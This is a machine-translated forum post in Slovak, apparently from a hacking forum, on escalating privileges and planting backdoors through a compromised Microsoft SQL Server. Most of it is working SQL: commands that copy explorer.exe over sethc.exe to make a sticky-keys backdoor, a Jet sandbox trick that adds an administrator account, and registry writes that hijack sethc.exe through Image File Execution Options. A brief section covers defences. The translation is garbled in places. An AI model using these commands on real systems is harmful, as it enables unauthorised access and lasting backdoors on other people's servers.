chýb má veľa spoločného s cmd.exe systémových súborov, jedna je, že cmd je vymazaná, druhá je, že povolenie cmd je znížené. SQL na kontrolu terminálových portov a otvoreného stavu: Výkonný majster.. xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal\Server\WinStations\RDP-Tcp','PortNumber' Dobre, kľúčovým bodom nižšie je použiť dve SQL inštrukcie na skopírovanie súboru prieskumníka systému do súboru shift backdoor systému a nasledujúce dva príkazy sa vykonávajú samostatne. Toto vyhlásenie explorer.exe kopíruje ako sethc.exe declare @o int exec sp_oacreate 'scripremove ting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe'; Tento príkaz sethc.exe kopíruje do adresára dllcache declare @oo int exec sp_oacreate 'scrip remove ting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\ sethc.exe'; Ďalšie dva príkazy používajú sp_oacreate uložené procedúry, ktoré potrebujú použiť odsole70.dll súbor, takže prežitie tohto súboru závisí od úspechu jeho vytvorenia. (2), xpsql.cpp: Chyba 5 z CreateProcess (riadok 737) Táto situácia je zložitejšia a hovorí sa o tom na internete EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SoftWare\Microsoft\Jet\4.0\Engines', 'SandBox Mode','REG_DWORD',0 Vyberte * from OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")'); Vyberte * from OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")'); Skontroloval som sandbox, aby som zvýšil práva na túto záležitosť, ale podľa mojej praxe je úspešnosť veľmi nízka, pretože väčšina serverov vymazala c:\windows\system32\ias\ias.mdb. Potom môžete skúsiť image hijacking sethc, samozrejme, image hijacking je tiež podmienený, 1 musí existovať xp_regwrite táto uložená procedúra 2 je 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',' Debugger' nie je vymazaný Najskôr môžete zistiť, či bol prilepený kľúč registru ukradnutý Výkonný majster.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','Debugger' Ak výzva problém nenájde, dôkaz sa vymaže, nie je možné spustiť SQL príkaz sethc.exe EXEC, majster.. xp_regwrite @rootkey='HKEY_LOCAL_MACHINE', @key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Možnosti spustenia obrazových súborov\sethc. EXE', @value_name='Debugger', @type='REG_SZ', @value='C:\WINDOWS\explorer.exe' Po 5-násobnom pripojení k terminálu a prepnutí ide priamo na plochu a potom ho manuálne pridá.
Register upravuje terminálový port
[HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ Wds \ rdpwd \ Tds \ tcp]
HKEY_LOCAL_MACHINE \ SYSTEM \ CurrentControlSet \ Control \ Terminal Server \ WinStations \ RDP-Tcp,
Čo sa týka prevencie únosu obrazu, dosahuje sa to hlavne nasledujúcimi metódami:
★ Zákon o obmedzení povolenia
Ak používateľ už nemá prístup ku kľúču registra, nemôže tieto veci upravovať. Otvorte Editor registra a choďte na HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Image File Execution Options, vyberte túto položku, kliknite pravým tlačidlom - > oprávnenia - > pokročilé a znížte oprávnenia administrátora a systémových používateľov (tu stačí zrušiť zápisovú operáciu).
★ Rýchla metóda rezania špinavého konope nožom
Otvorte editor registra a choďte do baru
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Možnosti spustenia obrazových súborov
Problém je možné vyriešiť priamym vymazaním položky Možnosti vykonávania obrazového súboru.
SQL príkaz unáša registry inštaláciu sticky key backdoor xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Možnosti spustenia obrazových súborov\sethc.exe', 'Debugger','REG_SZ', 'C:\WINDOWS\system32\kdsn.exe'
Stiahnutie softvéru:Turisti, ak chcete vidieť skrytý obsah tohto príspevku, prosím. Odpoveď
|